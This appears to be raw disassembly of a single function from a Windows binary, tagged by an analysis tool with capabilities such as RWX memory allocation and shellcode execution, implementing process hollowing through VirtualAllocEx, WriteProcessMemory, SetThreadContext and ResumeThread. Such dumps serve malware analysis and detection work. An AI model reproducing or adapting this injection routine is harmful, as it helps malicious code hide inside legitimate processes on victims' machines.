Function at 0x453288
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff10
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov ebx, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov esi, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.00403ff8
mov eax, dword [ebp - 8]
call fcn.00403ff8
xor eax, eax
push ebp
push 0x453499
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 0xffffffff
push esi
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebx + 0x34]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00452e48
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0xc]
lea edx, [ebp - 0xf0]
mov eax, dword [ebp - 0x10]
call fcn.00453174
test al, al
je 0x453476
xor eax, eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebx + 0x34]
cmp eax, dword [ebp - 0x14]
jne 0x453335
cmp esi, dword [ebp - 0x18]
ja 0x453335
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x1c]
push eax
push 0x40
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_VirtualProtectEx
jmp 0x4533a1
call fcn.00452e3c
test al, al
je 0x4533a1
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
call fcn.00453108
test al, al
je 0x453366
push 0x40
push 0x3000
push esi
mov eax, dword [ebx + 0x34]
push eax
mov eax, dword [ebp - 0xc]
push eax
call dword [0x4bb0b4]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x4533a1
mov eax, ebx
call fcn.00453088
test al, al
je 0x4533a1
push 0x40
push 0x3000
push esi
push 0
mov eax, dword [ebp - 0xc]
push eax
call dword [0x4bb0b4]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x4533a1
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp + 0x10]
mov eax, ebx
call fcn.004530a0
cmp dword [ebp - 0x20], 0
je 0x453452
lea eax, [ebp - 0x1c]
push eax
push 4
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x4c]
add eax, 8
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_WriteProcessMemory
mov eax, dword [ebp - 0x20]
mov dword [ebx + 0x34], eax
lea eax, [ebp - 0x1c]
push eax
push esi
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x45342c
mov dword [ebp - 0xf0], 0x10007
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x14]
jne 0x453402
mov eax, dword [ebx + 0x34]
add eax, dword [ebx + 0x28]
mov dword [ebp - 0x40], eax
jmp 0x453408
add eax, dword [ebx + 0x28]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0xf0]
push eax
mov eax, dword [ebp - 0x24]
push eax
call sub.kernel32.dll_SetThreadContext
mov eax, dword [ebp - 0x24]
push eax
call sub.kernel32.dll_ResumeThread
mov eax, dword [ebp - 0x24]
push eax
call sub.kernel32.dll_CloseHandle_1
jmp 0x453476
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp - 0x24]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
mov dword [ebp - 0xc], 0xffffffff
jmp 0x453476
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp - 0x24]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
mov dword [ebp - 0xc], 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4534a0
lea eax, [ebp - 0x10]
call fcn.00403bc4
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403be8
ret